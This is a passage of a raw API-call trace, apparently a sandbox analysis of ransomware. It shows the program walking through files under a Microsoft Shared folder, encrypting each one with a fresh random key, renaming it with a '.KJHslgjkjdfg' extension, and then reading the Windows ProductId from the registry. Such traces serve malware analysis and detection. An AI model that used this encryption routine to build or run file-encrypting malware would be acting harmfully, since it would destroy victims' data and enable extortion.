hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0170.826] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PROOF", cAlternateFileName="")) returned 1 [0170.826] GetProcessHeap () returned 0x2ef0000 [0170.826] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7a) returned 0x2f123a0 [0170.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0170.827] GetProcessHeap () returned 0x2ef0000 [0170.827] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0170.827] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.827] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0170.827] GetProcessHeap () returned 0x2ef0000 [0170.827] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27c) returned 0x2f16e68 [0170.828] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0170.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.829] GetProcessHeap () returned 0x2ef0000 [0170.829] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.829] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0170.829] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0170.832] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.832] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.832] GetProcessHeap () returned 0x2ef0000 [0170.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.832] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0170.832] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.832] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0170.832] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0170.832] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0170.832] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0170.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0170.833] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0170.833] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.833] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.833] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6c67b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6c67b, lpOverlapped=0x0) returned 1 [0170.841] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6c680, dwBufLen=0x6c680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6c680) returned 1 [0170.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.846] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6c680, lpOverlapped=0x0) returned 1 [0170.848] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.848] SetEndOfFile (hFile=0xf0) returned 1 [0170.860] GetProcessHeap () returned 0x2ef0000 [0170.860] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.860] GetProcessHeap () returned 0x2ef0000 [0170.860] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.kjhslgjkjdfg")) returned 1 [0170.861] CloseHandle (hObject=0xf0) returned 1 [0170.861] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0170.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.861] GetProcessHeap () returned 0x2ef0000 [0170.861] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.861] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0170.861] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0170.864] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.864] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.864] GetProcessHeap () returned 0x2ef0000 [0170.864] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.864] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0170.864] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.864] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0170.864] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0170.864] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0170.864] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0170.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0170.865] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0170.865] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.865] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.865] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60983, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60983, lpOverlapped=0x0) returned 1 [0170.873] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60990, dwBufLen=0x60990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60990) returned 1 [0170.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.878] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x60990, lpOverlapped=0x0) returned 1 [0170.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x60a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.879] SetEndOfFile (hFile=0xf0) returned 1 [0170.883] GetProcessHeap () returned 0x2ef0000 [0170.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.883] GetProcessHeap () returned 0x2ef0000 [0170.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.kjhslgjkjdfg")) returned 1 [0170.895] CloseHandle (hObject=0xf0) returned 1 [0170.895] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0170.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.897] GetProcessHeap () returned 0x2ef0000 [0170.897] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.897] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0170.897] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0170.899] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.899] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.899] GetProcessHeap () returned 0x2ef0000 [0170.899] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0170.899] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.899] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0170.899] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0170.899] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0170.899] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0170.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0170.900] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0170.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.900] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.900] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x482ef, lpOverlapped=0x0) returned 1 [0170.905] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x482f0, dwBufLen=0x482f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x482f0) returned 1 [0170.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.910] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x482f0, lpOverlapped=0x0) returned 1 [0170.911] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x483c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.911] SetEndOfFile (hFile=0xf0) returned 1 [0170.914] GetProcessHeap () returned 0x2ef0000 [0170.914] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.914] GetProcessHeap () returned 0x2ef0000 [0170.914] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.kjhslgjkjdfg")) returned 1 [0170.923] CloseHandle (hObject=0xf0) returned 1 [0170.923] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0170.924] GetProcessHeap () returned 0x2ef0000 [0170.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.924] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0170.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.924] GetProcessHeap () returned 0x2ef0000 [0170.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.924] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0170.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.924] GetProcessHeap () returned 0x2ef0000 [0170.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0170.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.924] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dff0a8 | out: pbData=0x2f47728, pdwDataLen=0x4dff0a8) returned 1 [0170.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.924] GetProcessHeap () returned 0x2ef0000 [0170.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.924] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0170.925] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.925] GetProcessHeap () returned 0x2ef0000 [0170.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.925] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0170.925] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.925] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0170.925] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0170.925] RegCloseKey (hKey=0xf0) returned 0x0 [0170.925] GetProcessHeap () returned 0x2ef0000 [0170.925] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.925] GetProcessHeap () returned 0x2ef0000 [0170.925] HeapFree (in: 